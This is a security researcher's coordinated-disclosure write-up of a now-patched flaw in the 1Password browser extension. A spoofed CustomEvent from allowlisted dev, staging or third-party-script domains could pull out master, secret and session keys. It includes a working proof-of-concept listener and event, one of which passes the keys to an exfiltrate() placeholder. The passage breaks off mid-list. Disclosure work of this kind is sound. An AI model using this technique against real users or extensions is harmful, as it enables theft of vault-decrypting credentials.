The Importance of Establishing Boundaries with your DOM — Stealing 1Password Keys The Importance of Establishing Boundaries with your DOM — Stealing 1Password Keys<br>Jun 23, 2026
Disclosure status: This finding was reported to 1Password through their HackerOne program and remediated in 1Password in the browser 8.12.21 . It is being published under coordinated disclosure with 1Password’s awareness.
TL;DR
The 1Password browser extension would hand your master key , secret key , and an active session key to JavaScript running on a page whose hostname matched a hardcoded allowlist, with no user interaction. Unfortunately that allowlist included nine dev/staging domains with wildcard DNS, and at least two production domains (brand.1password.com and status.1password.com) that serve third party JavaScript.
The vulnerability went from “Informative, working as intended” to “High severity, shipping a patch” in a few months of back and forth, revealing a common blind spot in how we model trust with third-party vendors.
A quick word on threat models, or: why your password manager is special
Most apps get to assume that if an attacker is running JavaScript on your origin, you’ve already lost. XSS is game over, the reasoning goes, so why defend past it?
A password manager doesn’t get that luxury. The entire pitch of 1Password is zero-knowledge : even 1Password can’t read your vault, your master key never leaves your control, and no single failure should expose it as described in their security whitepaper, itself an excellent read.
So when the extension’s design assumes that any JS running on a trusted hostname is safe to receive cryptographic secrets, it violates a core security guarantee. Keep this in mind, because 1Password’s first response was essentially that XSS on their origin is game over anyway. For most products, that is fair. For a zero-knowledge password manager, it undermines the primary threat model.
How the extension talks to the web app
The 1Password web app (my.1password.com, or teams’ tenant subdomains) and the browser extension need to cooperate. When you’re signed into the web app and your extension is unlocked, the extension can perform a Magic Unlock (also known as “Automatic sign-in to 1Password.com”) session delegation: it spins up a server-backed session for the web app so the page can decrypt and show your stuff.
To pull this off, the content script b5.js — injected into pages matching the allowlist — listens for events. Specifically, it listens for CustomEvents dispatched on document. The same document that any script on the page can reach out and touch.
Here’s the allowlist that gates the creds— twelve domain suffixes:
1password.com, 1password.ca, 1password.eu,<br>b5dev.com, b5dev.ca, b5dev.eu,<br>b5test.com, b5test.ca, b5test.eu,<br>b5local.com, b5staging.com, b5rev.com<br>Nine of those are dev/staging domains. All of them have wildcard DNS — literally-anything.b5test.com resolves to AWS and serves the full 1Password web SPA. The only authorization gate between a page and your master key was: does the hostname end in one of these twelve strings?
The flow, end to end
Page dispatches B5SessionInit on document with an accountUuid and a device object.
b5.js (Np()) catches it , checks only the hostname allowlist (D()), and forwards it to the background script via chrome.runtime.sendMessage as b5-session-init.
Background (gqe) looks up the account by UUID in its local DB and calls getDelegateSessionInit(), which phones the 1Password server to mint a delegated session.
Server returns full session credentials. Background sends auto-sign-in-to-b5 back to the content script.
b5.js dispatches B5InitializeSession — as a CustomEvent, on document — containing the goods:
document.addEventListener("B5InitializeSession", (e) => {<br>// e.detail contains:<br>// masterKey (JWK) — decrypts your personal keyset → all vault keys → all items<br>// accountKey — your Secret Key, in plaintext<br>// sessionKey (JWK) — active session encryption key<br>// email, deviceUuid, apiHost, derivationInfo<br>// serverConfig.notifier — a wss:// URL with a PASETO token valid for 30 days<br>exfiltrate(e.detail);<br>});<br>The attacker’s entire exploit is: add an event listener, dispatch one event, collect the keys. Here’s the actual PoC:
// 1. Listen for the response<br>document.addEventListener("B5InitializeSession", (e) => {<br>console.log("=== MASTER KEY + SESSION CREDENTIALS ===");<br>console.log(JSON.stringify(e.detail));<br>});
// 2. Ask nicely for a session. A FRESH device UUID is required each time —<br>// the server silently drops requests that reuse a device UUID.<br>document.dispatchEvent(new CustomEvent("B5SessionInit", {<br>detail: {<br>accountUuid: "",<br>device: {<br>uuid: crypto.randomUUID().replace(/-/g, "").substring(0, 26),<br>clientName: "1Password for Web",<br>clientVersion: "2218",<br>// ...standard device fields<br>}));
The missing controls
Cryptographic challenge/response
Proof the page actually authenticated
Signature/HMAC on the event data
Content-script...